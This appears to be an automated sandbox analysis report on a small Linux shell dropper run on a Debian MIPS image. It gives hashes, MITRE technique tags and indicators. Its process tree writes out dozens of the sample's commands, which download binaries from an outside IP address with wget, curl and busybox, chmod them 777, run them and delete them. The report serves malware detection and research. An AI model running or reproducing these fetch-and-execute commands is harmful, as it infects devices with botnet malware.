f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686

Analysis

max time kernel
120s
max time network
125s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2024, 05:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
Size 10KB
Sample241027-gbls2askdl
SHA256 f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686
MD5 a2a47b998eb957b97b02fc7794e73e50
SHA1 4627d6e0987af86950f0d5e4c2886a11f4f4d486
SHA512 b847ed768b096883bfcaffa96a4d6896dcd0395eaec995b23816115ea2f737bc9029038d70e64bd607f845d4be6d7339a6ed862a5916b59af0c3c2276157dd61
SSDEEP 192:sUcoA8noo9/5l45x22DOTUGa5l45x2PDUdA8nooH:sUcekyTUxDUn
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 22 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
769	chmod
818	chmod
884	chmod
902	chmod
920	chmod
932	chmod
944	chmod
745	chmod
890	chmod
896	chmod
914	chmod
938	chmod
830	chmod
864	chmod
758	chmod
791	chmod
836	chmod
842	chmod
908	chmod
926	chmod
950	chmod
752	chmod

Executes dropped EXE 22 IoCs

Reads runtime system information 23 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	curl
File opened for modification	/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	curl
File opened for modification	/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	curl
File opened for modification	/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	curl
File opened for modification	/tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11	curl
File opened for modification	/tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU	curl
File opened for modification	/tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf	curl
File opened for modification	/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	curl
File opened for modification	/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	curl
File opened for modification	/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	curl
File opened for modification	/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	curl
File opened for modification	/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	curl
File opened for modification	/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	curl
File opened for modification	/tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5	curl
File opened for modification	/tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L	curl
File opened for modification	/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	curl
File opened for modification	/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	curl
File opened for modification	/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	curl
File opened for modification	/tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11	curl
File opened for modification	/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	curl
File opened for modification	/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	curl
File opened for modification	/tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa	curl
File opened for modification	/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	curl

/tmp/f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
/tmp/f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:742
- /bin/chmod
  chmod 777 ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  ./ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:751
- /bin/chmod
  chmod 777 vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  ./vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:754
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:757
- /bin/chmod
  chmod 777 UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  ./UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:766
- /bin/chmod
  chmod 777 TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  ./TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:787
- /bin/chmod
  chmod 777 9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  ./9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm 9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:815
- /bin/chmod
  chmod 777 JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  ./JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:829
- /bin/chmod
  chmod 777 wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  ./wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:835
- /bin/chmod
  chmod 777 kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  ./kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:841
- /bin/chmod
  chmod 777 IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  ./IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:860
- /bin/chmod
  chmod 777 I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  ./I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:881
- /bin/chmod
  chmod 777 ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  ./ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:889
- /bin/chmod
  chmod 777 CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  ./CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:895
- /bin/chmod
  chmod 777 GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  ./GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:901
- /bin/chmod
  chmod 777 JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  ./JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:907
- /bin/chmod
  chmod 777 I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  ./I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:913
- /bin/chmod
  chmod 777 ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  ./ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:919
- /bin/chmod
  chmod 777 JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  ./JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:925
- /bin/chmod
  chmod 777 wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  ./wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:931
- /bin/chmod
  chmod 777 kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  ./kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:937
- /bin/chmod
  chmod 777 IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  ./IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:943
- /bin/chmod
  chmod 777 CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  ./CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:949
- /bin/chmod
  chmod 777 GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  ./GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:955

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU

Path /tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU	746	ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
/tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf	753	vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
/tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5	759	UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
/tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa	770	TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
/tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L	792	9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	820	JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	831	wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	837	kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	843	IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	865	I218GnK1hv0f51oIEetHFCMXWIehvPj25A
/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	885	ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	891	CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	897	GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
/tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11	903	JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
